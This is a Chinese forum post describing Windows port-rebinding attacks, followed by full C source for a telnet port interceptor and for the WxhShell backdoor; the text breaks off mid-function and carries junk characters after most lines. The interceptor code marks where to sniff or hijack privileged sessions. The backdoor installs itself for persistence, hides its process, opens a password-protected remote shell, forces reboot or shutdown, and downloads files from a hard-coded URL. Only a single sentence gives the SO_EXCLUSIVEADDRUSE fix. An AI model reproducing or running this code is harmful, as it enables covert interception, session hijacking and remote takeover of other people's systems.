社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14932阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ur| vh5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n qC@dHP  
GWCU 9n  
  saddr.sin_family = AF_INET; h~-cnAMt  
|FP@NUX\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cb i;CF\{  
k* e $_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]uZaj?%J<  
Dk#4^`qp1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pdq5EUdS  
SpA-E/el  
  这意味着什么?意味着可以进行如下的攻击: *OU&`\bmE  
fI"OzIJV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VxqoE]Dh  
+&*Ybbhb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yP*oRV%uX  
)n{9*{Ch  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hnTk)nq5#  
myqQqVW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,UATT]>  
E! mxa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /kc @ELl  
fb_q2p} G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #p7_\+&5s  
c-`izn]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9}<iS w[  
l % 0c{E~  
  #include 0kxe5*-|  
  #include iM +p{ /bN  
  #include K [R.B!;N  
  #include    .gs:.X)TG9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R&@NFin  
  int main() ^2-+MWW.  
  { z:W|GDD1  
  WORD wVersionRequested; Nf1&UgX  
  DWORD ret; <uXQT$@?  
  WSADATA wsaData; 7f]O /  
  BOOL val; (P|k$S?m  
  SOCKADDR_IN saddr; &.chqP(|  
  SOCKADDR_IN scaddr; !~!\=etm  
  int err; :BVYS|%  
  SOCKET s; J"?jaa2~  
  SOCKET sc; Gi Max  
  int caddsize; ~M9&SDT/lB  
  HANDLE mt; K'zBDrkW-x  
  DWORD tid;   o)sX?IiC  
  wVersionRequested = MAKEWORD( 2, 2 ); 3bZ:*6W.6  
  err = WSAStartup( wVersionRequested, &wsaData ); .&;:X )  
  if ( err != 0 ) { GN=-dLN  
  printf("error!WSAStartup failed!\n"); +1>\o|RF  
  return -1; 3fq'<5 ^  
  } EE,C@d!*k7  
  saddr.sin_family = AF_INET; P%y$e0  
   6T-iBJT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QB6. o6  
2U rE>_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a{+;&j[!  
  saddr.sin_port = htons(23); 4\iy{1{E,C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N7#,x9+E  
  { yq,%<%+  
  printf("error!socket failed!\n"); .v[!_bk8C  
  return -1; Cg&:+  
  } ~09kIO)  
  val = TRUE; a~A"uLBR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g<s;uRA4O9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TykY>cl   
  { KYC<*1k  
  printf("error!setsockopt failed!\n"); >+F +"NAN  
  return -1; 9ve)+Lk  
  } b0h>q$b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `V=F>s$W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R:Tv'I1-L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R0bWI`$Z  
^9`~-w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -MuKeCgi  
  { ~5 e 1&  
  ret=GetLastError(); gbu@&   
  printf("error!bind failed!\n"); .( X!*J]G  
  return -1; 2PQY+[jx  
  } #p/'5lA&j  
  listen(s,2); t[%ELHV  
  while(1) (k24j*1e$  
  { &n9 srs  
  caddsize = sizeof(scaddr); ~vstuRRST  
  //接受连接请求 &D#B"XI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,Laz515  
  if(sc!=INVALID_SOCKET) 2hFOwI  
  { C0-,<X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;;<[_gp,E  
  if(mt==NULL) >IEc4  
  { zD): yEc  
  printf("Thread Creat Failed!\n"); j\TS:F^z  
  break; Lo uYY: Q  
  } Qvm[2mb  
  } ~RIa),GVX  
  CloseHandle(mt); ?oulQR6:  
  } M<cm]  
  closesocket(s); Q)ZbnR2Z8  
  WSACleanup(); %lqrq<Xn  
  return 0; c2Up<#t  
  }   [J+]1hCZ|  
  DWORD WINAPI ClientThread(LPVOID lpParam) "Tc[1{eI  
  { M =6  
  SOCKET ss = (SOCKET)lpParam; &d i=alvv1  
  SOCKET sc; g0 Jy:`M  
  unsigned char buf[4096]; eN-lz_..7  
  SOCKADDR_IN saddr; $[g8j`or!  
  long num; <:I]0|[  
  DWORD val; B+2Jea,N  
  DWORD ret; .MI 5?]_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 am# (ms  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W;ADc2#)  
  saddr.sin_family = AF_INET; nCPIpw,]M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X:d[eAu0  
  saddr.sin_port = htons(23); P(Z\y^S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ops""#Zi  
  { @W\ H%VR  
  printf("error!socket failed!\n"); &T[BS;  
  return -1; $Y<(~E$FX  
  } D[bPm:\0M  
  val = 100; iYb{qv_4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "MU)8$d  
  { .8/W_iC92  
  ret = GetLastError(); /<it2=  
  return -1; AW/)R"+  
  } "7_qB8\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %a$Fsn  
  { hsHtLH+@  
  ret = GetLastError(); n8 e4`-cY  
  return -1; eW zyydl  
  } r!HB""w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Uiu9o]n  
  { ?&se]\  
  printf("error!socket connect failed!\n"); kq=tL@W`0}  
  closesocket(sc); Eumdv#Qg  
  closesocket(ss); 5H |<h  
  return -1;  9Li.B1j  
  } 4{J'p19  
  while(1) 6HxZS+], c  
  { k80!!S=_>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;P2(C >|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [Se0+\,&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8!VF b+  
  num = recv(ss,buf,4096,0); 6jo+i[h  
  if(num>0) ?KtvXTy{m  
  send(sc,buf,num,0); <nE|Y@S  
  else if(num==0) iMXK_O%  
  break; >W?7a:#,  
  num = recv(sc,buf,4096,0); 9Qhk~^ngg  
  if(num>0) a@U0s+V&a0  
  send(ss,buf,num,0); v}-jls  
  else if(num==0) "Go)t + -  
  break; lp%i%*EQ*  
  } U&<w{cuA  
  closesocket(ss); }doJ= lc  
  closesocket(sc); =OU]<%  
  return 0 ; wO3K2I]>0  
  } /e4#D H  
?jRyw(Q  
?UV ^6  
========================================================== &yQM 8J~  
I0]"o#Lj T  
下边附上一个代码,,WXhSHELL +)7Yqh#$  
]6 vqgu  
========================================================== 5N4[hQrVJ  
w-(^w9_e  
#include "stdafx.h" V;SXa|,  
(VA:`pstP  
#include <stdio.h> um$K^  
#include <string.h> =| M[JPr  
#include <windows.h> 20p/p~<  
#include <winsock2.h> ^7&0P m  
#include <winsvc.h> yyVv@  
#include <urlmon.h> %Lwd1'C%  
~TEKxgU  
#pragma comment (lib, "Ws2_32.lib") kN,WB  
#pragma comment (lib, "urlmon.lib") /]*#+;;%  
A`qb5LLJ)  
#define MAX_USER   100 // 最大客户端连接数 %l8nTcL_?  
#define BUF_SOCK   200 // sock buffer $>mTPNF  
#define KEY_BUFF   255 // 输入 buffer 7Vxe]s  
{|Pz9a- :  
#define REBOOT     0   // 重启 hr] :bR  
#define SHUTDOWN   1   // 关机 (6S f#M  
^XQr`CqI  
#define DEF_PORT   5000 // 监听端口 Uv"GG: K_  
niIjatT  
#define REG_LEN     16   // 注册表键长度 1GL@t?S  
#define SVC_LEN     80   // NT服务名长度 Kzd`|+?'`M  
h7H#sL[^  
// 从dll定义API 'of5v6:8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v|v^(P,o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \PB~ 6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 044*@a5f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ZP8l'?  
jW-j+ WGSM  
// wxhshell配置信息 (SlrV8;  
struct WSCFG { gB?~!J?  
  int ws_port;         // 监听端口 { !C';^  
  char ws_passstr[REG_LEN]; // 口令 boR&'yX  
  int ws_autoins;       // 安装标记, 1=yes 0=no p 8q9:Tz  
  char ws_regname[REG_LEN]; // 注册表键名 ?"no~(EB  
  char ws_svcname[REG_LEN]; // 服务名 =Xc[EUi<;g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U-#t&yjh#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O} !L;?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =*YK6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3=r8kh7,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KR6*)?c`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NgnHo\)  
<E|K<}W#  
}; bTn7$EG  
L:y} L  
// default Wxhshell configuration _r}oYs%1  
struct WSCFG wscfg={DEF_PORT, )oSUhU26}  
    "xuhuanlingzhe", 3 9Ql|l$  
    1, t?0D*!D  
    "Wxhshell", rwlV\BU  
    "Wxhshell", AVR9G^ce_  
            "WxhShell Service", Odr@9MJ  
    "Wrsky Windows CmdShell Service", Upr:sB  
    "Please Input Your Password: ", `1NxS35u  
  1, :I5]|pt  
  "http://www.wrsky.com/wxhshell.exe",  OT9\K_  
  "Wxhshell.exe" !j)H !|R  
    }; lq$1CI  
gq6C6   
// 消息定义模块 O\ T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \"qXlTQ1_9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $+<X 1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jG0{>P#+  
char *msg_ws_ext="\n\rExit."; JqO#W1h~R|  
char *msg_ws_end="\n\rQuit."; TIV1?S  
char *msg_ws_boot="\n\rReboot..."; +SmcZ^\OZ  
char *msg_ws_poff="\n\rShutdown..."; byv(:xk|'e  
char *msg_ws_down="\n\rSave to "; HlB'yOHv!  
! G%LYHx  
char *msg_ws_err="\n\rErr!"; 8Us5Oi  
char *msg_ws_ok="\n\rOK!"; k})Ag7c  
9BGPq)#  
char ExeFile[MAX_PATH]; }B_n}<tjD  
int nUser = 0; ~$f+]7  
HANDLE handles[MAX_USER]; qB_MDA  
int OsIsNt; <,l&),  
| %af}# FQ  
SERVICE_STATUS       serviceStatus; Oah}7!a)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S zOB{  
:rb<mg[  
// 函数声明 P sD+?  
int Install(void); i_4FxC4  
int Uninstall(void); r6Z&i^cMe  
int DownloadFile(char *sURL, SOCKET wsh); }(-R`.e;  
int Boot(int flag); ^\cB&<h  
void HideProc(void); r+;C}[E  
int GetOsVer(void); jz|zq\Eek  
int Wxhshell(SOCKET wsl); Um\Nd#=:  
void TalkWithClient(void *cs); >#R<*?*D}  
int CmdShell(SOCKET sock); ~\K+)(\SNp  
int StartFromService(void); "gdm RE{x  
int StartWxhshell(LPSTR lpCmdLine); ASAz<H$  
A0M)*9 f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xkOyj`IS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o:#MP(h,N  
zp4Jd"XBX  
// 数据结构和表定义 {t[j>_MYw  
SERVICE_TABLE_ENTRY DispatchTable[] = ?N#mD  
{ @4h .?  
{wscfg.ws_svcname, NTServiceMain}, IBU(Hm1,  
{NULL, NULL} m4ovppC  
}; 'oHtg @  
 KEsMes(*  
// 自我安装 ~,Q+E8  
int Install(void) _U$d.B'*)z  
{ !O)Ruwy  
  char svExeFile[MAX_PATH]; !$St=!  
  HKEY key; gyieSXz[  
  strcpy(svExeFile,ExeFile); FgRlxz  
YmHn*N}:U  
// 如果是win9x系统,修改注册表设为自启动 L1.<LB^4'  
if(!OsIsNt) { A7-QOqST(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !yH&l6s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @6ZQkX/  
  RegCloseKey(key); }Fyf?TZ$T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hkv&Od,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,a< !d  
  RegCloseKey(key); 8:-[wl/@  
  return 0; J}KATpHs  
    } kwK<?\D  
  } R#Id"O  
} a)4.[+wnRf  
else { bWwc2##7jo  
A[;R_  
// 如果是NT以上系统,安装为系统服务  F[115/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;hmy7M1%  
if (schSCManager!=0) fT/;TK>z>  
{ 2M= gpy  
  SC_HANDLE schService = CreateService ,/|"0$p2x  
  ( Q9X_aB0  
  schSCManager, GKtG#jZ&  
  wscfg.ws_svcname, $~50M5&K#  
  wscfg.ws_svcdisp, Oh~J yrZy  
  SERVICE_ALL_ACCESS, bKmR &  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v%= G~kF}[  
  SERVICE_AUTO_START, .!,T> :R  
  SERVICE_ERROR_NORMAL, e0+N1kY  
  svExeFile, (<(8(} x  
  NULL, 2>.B*P  
  NULL, r.[!n)*  
  NULL, v l2!2X  
  NULL, =wPl;SDf!  
  NULL  hPx=3L$  
  ); Cz Jze  
  if (schService!=0) me$ 7\B;wy  
  { :^1 Xfc"  
  CloseServiceHandle(schService); jUZ84Gm{  
  CloseServiceHandle(schSCManager); P$N\o@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RXb+"/   
  strcat(svExeFile,wscfg.ws_svcname); PR{?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &voyEvX/S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wvcG <sj  
  RegCloseKey(key);  B@A3T8'  
  return 0; TNUzNA  
    } #)hM]=,e  
  } |JSj<~1ki  
  CloseServiceHandle(schSCManager); L/"XIMI*Xg  
} ;a XcGa  
} 9Rzu0:r.,  
&2Q4{i  
return 1; tV9nC   
} SI*O#K=w  
55 Y BO$  
// 自我卸载 {b"V7vn,  
int Uninstall(void) 5K;jW  
{ gsqlWfa  
  HKEY key; 60*2k  
Aj;Z &  
if(!OsIsNt) { g03I<<|@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G  2+A`\]  
  RegDeleteValue(key,wscfg.ws_regname); zdzTJiY2[Z  
  RegCloseKey(key); 4H]Go~<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Im+<oZ  
  RegDeleteValue(key,wscfg.ws_regname); TPt<(-}W  
  RegCloseKey(key); /^G1wz2  
  return 0; 6OF&Q`*4  
  } AwAUm 2^  
} `!kOyh:X  
} CQW#o_\  
else { {l%Of  
,H2[["1DH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `-"2(Gp  
if (schSCManager!=0) "Up3W%]SB  
{ /z>G= kA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6UG7lH!M  
  if (schService!=0) 7MZBU~,r  
  { [DC8X P5 <  
  if(DeleteService(schService)!=0) { ?V4?r2$c  
  CloseServiceHandle(schService); "6w-jT  
  CloseServiceHandle(schSCManager); f6j;Y<}' g  
  return 0; b<P9@h~:  
  } Q.>@w<[!L  
  CloseServiceHandle(schService); D/'kYoAEO  
  } #;)Oi9{9;  
  CloseServiceHandle(schSCManager); (y[+s?;WyB  
} 4`yCvPu  
} 7](,/MeGG  
@Z&El:]3>  
return 1; 7;jwKA;k  
} Kp'_lKW)]q  
lRF04  
// 从指定url下载文件 ]wMd!.lm-  
int DownloadFile(char *sURL, SOCKET wsh) ) gYsg  
{ 0D+[W5TB  
  HRESULT hr; F"1)y>2k  
char seps[]= "/"; P%A;EF~ v  
char *token; 7#SXqyP[  
char *file; @@"}i7  
char myURL[MAX_PATH]; }A\s`H m  
char myFILE[MAX_PATH]; Q0K2md_%x  
zRd^Uks  
strcpy(myURL,sURL); o|YY,G=C  
  token=strtok(myURL,seps); (/UW}$] h  
  while(token!=NULL) Hm!ffqO_  
  { :hr% 6K7  
    file=token; dl mF?N|EC  
  token=strtok(NULL,seps); y{ %2Q)  
  } zePVB -@u  
"SJp9s3  
GetCurrentDirectory(MAX_PATH,myFILE); [KR|m,QWp  
strcat(myFILE, "\\"); ? C1.g'}7  
strcat(myFILE, file); 8/F}vfKEN  
  send(wsh,myFILE,strlen(myFILE),0); +!h~T5Ck  
send(wsh,"...",3,0); _y*@Hj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }^U7NZn<"  
  if(hr==S_OK) %N$,1=0*  
return 0; D!Pv`wm  
else v W=$C  
return 1; HX%lL }E  
F7P?*!dx  
} cH%qoHgx  
rp^= vfW  
// 系统电源模块 ~~>`WA\G5,  
int Boot(int flag) : 8dQ8p;  
{ %Hx8%G!  
  HANDLE hToken; _uwM%M;  
  TOKEN_PRIVILEGES tkp; /~~aK2{^X~  
GOrDDp  
  if(OsIsNt) { tj$&89  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -< D7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yw2Mr+9I  
    tkp.PrivilegeCount = 1; $c"byQ[3S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9'nM$ a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N3dS%F,_  
if(flag==REBOOT) { TgMa! Vz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g@0<`g  
  return 0; HY-7{irR~  
} $cjwY$6  
else { H@Yj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sggha~E2s  
  return 0; KZrg4TEVi  
} a,mG5bQ!  
  } r&  
  else { .TZ0F xW  
if(flag==REBOOT) { S:2M9nC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _=0%3Sh  
  return 0; )45~YDS;t  
} cHo@F!{o=  
else { @uA=v/>+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O?\UPNb:K  
  return 0; j11FEE<W  
} v~E\u  
} )S?.YCv?  
6d~[j <@2  
return 1; @jh\yjrW  
} ]JDKoA{S0  
<14,xYpE  
// win9x进程隐藏模块 ^4MRG6G  
void HideProc(void) Q /D?U[G  
{ TwPp Z@  
D)shWJRlvW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wavyREK   
  if ( hKernel != NULL ) MpY/G%3  
  { P"*#mH[W|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cft/;A u{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); efzS]1Jpz  
    FreeLibrary(hKernel); hc7"0mVd{  
  } X%(1C,C(  
'`s\_Q)hG_  
return; ul(pp+%S  
} 7`xeuK  
Z4ekBdmCL  
// 获取操作系统版本 U$,-F**  
int GetOsVer(void) m[aBHA^g  
{ iA.:{^_)09  
  OSVERSIONINFO winfo; YQ? "~[mL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ycD.X"  
  GetVersionEx(&winfo); j(aok5:e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e^!>W %.7Z  
  return 1; uwI$t[  
  else s!73To}>  
  return 0; I{nrOb1G(  
} q,;8Ka )  
S?Y%}  
// 客户端句柄模块 oS>VN<  
int Wxhshell(SOCKET wsl) !LI 8Xk  
{ Yt]Y(  
  SOCKET wsh; V2B@Lq"9`  
  struct sockaddr_in client; K&"ZZFd_  
  DWORD myID; gh9Gc1tKt  
]v2%hX  
  while(nUser<MAX_USER) cG)U01/"  
{ C>NLZM T  
  int nSize=sizeof(client); F)8M9%g5m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); shk yN  
  if(wsh==INVALID_SOCKET) return 1; 4H9mKR  
P>U7RX e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #'y4UN  
if(handles[nUser]==0) Dpb prT7_  
  closesocket(wsh); _ASyGmO{  
else .n\j<Kq  
  nUser++; 6 uS;H]nd<  
  } ,vDSY N6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z(!K8 T  
O'rz  
  return 0; ,gO(zI-1  
} O[Yc-4  
ew+>?a'&L  
// 关闭 socket !8Y $}  
void CloseIt(SOCKET wsh) V$Zl]f$S  
{ Kcu*Z  
closesocket(wsh); :DG7Z  
nUser--; PenkqDc}  
ExitThread(0); m!- R}PQC  
} ]]F e:>  
QnJd}(yN  
// 客户端请求句柄 #fVk;]u`[3  
void TalkWithClient(void *cs)  u> @@  
{ $V870 <  
Mni@@W  
  SOCKET wsh=(SOCKET)cs; 4e20\q_{  
  char pwd[SVC_LEN]; 50`=[l`V  
  char cmd[KEY_BUFF]; jR[b7s  
char chr[1]; %n{ue9  
int i,j; W0+m A  
ooA%/  
  while (nUser < MAX_USER) { B<{Yj}..  
0/5{v6_rG  
if(wscfg.ws_passstr) { d_1uv_P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GIM'H;XG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #O1%k;BL  
  //ZeroMemory(pwd,KEY_BUFF); mS?W+jy%  
      i=0; 9,jFQb(),  
  while(i<SVC_LEN) { ^aI$97Li  
45 B |U  
  // 设置超时 itmFZZh  
  fd_set FdRead; Oil~QAd,  
  struct timeval TimeOut; oiRrpS\T.  
  FD_ZERO(&FdRead); ^Lc, w  
  FD_SET(wsh,&FdRead); Y52TC@'  
  TimeOut.tv_sec=8; M@]@1Q.p  
  TimeOut.tv_usec=0; #z#`EBXV$6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v"YaMbu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GdVrl[  
YH,u*.I^/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !g[UFw  
  pwd=chr[0]; LjySO2  
  if(chr[0]==0xd || chr[0]==0xa) { kInU,/R*  
  pwd=0; kXN8hU}iq  
  break; R ~?9+  
  } yvCX is  
  i++; \AOHZ r  
    } \R[f< K%  
cqG&n0zb  
  // 如果是非法用户,关闭 socket /0YO`])"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :h8-y&;  
} Gp0yRT.  
0bfJD'^9RP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ne|N!!Dmk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Lg{GN.  
c[+uwO~  
while(1) { |>/m{L[  
%7A?gY81  
  ZeroMemory(cmd,KEY_BUFF); [_-[S  
GK&R,q5}  
      // 自动支持客户端 telnet标准   R4%}IT^%P  
  j=0; )mu[ye"p  
  while(j<KEY_BUFF) { gxc8O).5vY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "ph[)/u;  
  cmd[j]=chr[0]; )v+\1  
  if(chr[0]==0xa || chr[0]==0xd) { UT%?3}*u"  
  cmd[j]=0; .#{m1mr  
  break; xM:9XhH1  
  } H~; s$!lG  
  j++; gaU(ebsE  
    } iE#I^`^V  
;m~%57.;\  
  // 下载文件 ipD/dx.  
  if(strstr(cmd,"http://")) { +[":W?j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7|DPevrk  
  if(DownloadFile(cmd,wsh)) [5-3PuT&9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $T7(AohR  
  else H`OJN .  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (9KiIRN   
  } %?PRBE'}'  
  else { hQ}y(2A.XI  
TG6E^3a P  
    switch(cmd[0]) { k;f%OQsF_  
  M.K%;j`  
  // 帮助 ;Dp<|n  
  case '?': { ]p*Fq^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8Z>=sUMQ  
    break; MI,kKi  
  } (/jZ &4T  
  // 安装 @DuSii#.S  
  case 'i': { %I#[k4,N  
    if(Install()) rnP *}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ q^JjR  
    else }8dS[-.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P"a9+ti+'  
    break; Xz!O}M{4  
    } \<%?=C'w~  
  // 卸载 JgMYy,q8t  
  case 'r': { P;K <P  
    if(Uninstall()) jg3T1ROL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IzlmcP3  
    else &+")~2 +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H'?dsc  
    break; !Q=xIS  
    } ^oDSU7j5,  
  // 显示 wxhshell 所在路径 1q/Q@O  
  case 'p': { )#v0.pE  
    char svExeFile[MAX_PATH]; A Eo  
    strcpy(svExeFile,"\n\r");  %Krf,H  
      strcat(svExeFile,ExeFile); bG/[mZpRT  
        send(wsh,svExeFile,strlen(svExeFile),0); K?6#jT6#  
    break; ]O0:0Z\  
    } @i(;}rx  
  // 重启 kqZ+e/o>O9  
  case 'b': { ~IQw?a.E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZDr&Alp)o  
    if(Boot(REBOOT)) K9c5HuGy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bj_oA i  
    else { 6tN!]  
    closesocket(wsh); QygbfW6u  
    ExitThread(0); +K:hetv  
    } 'Omj-o'tn9  
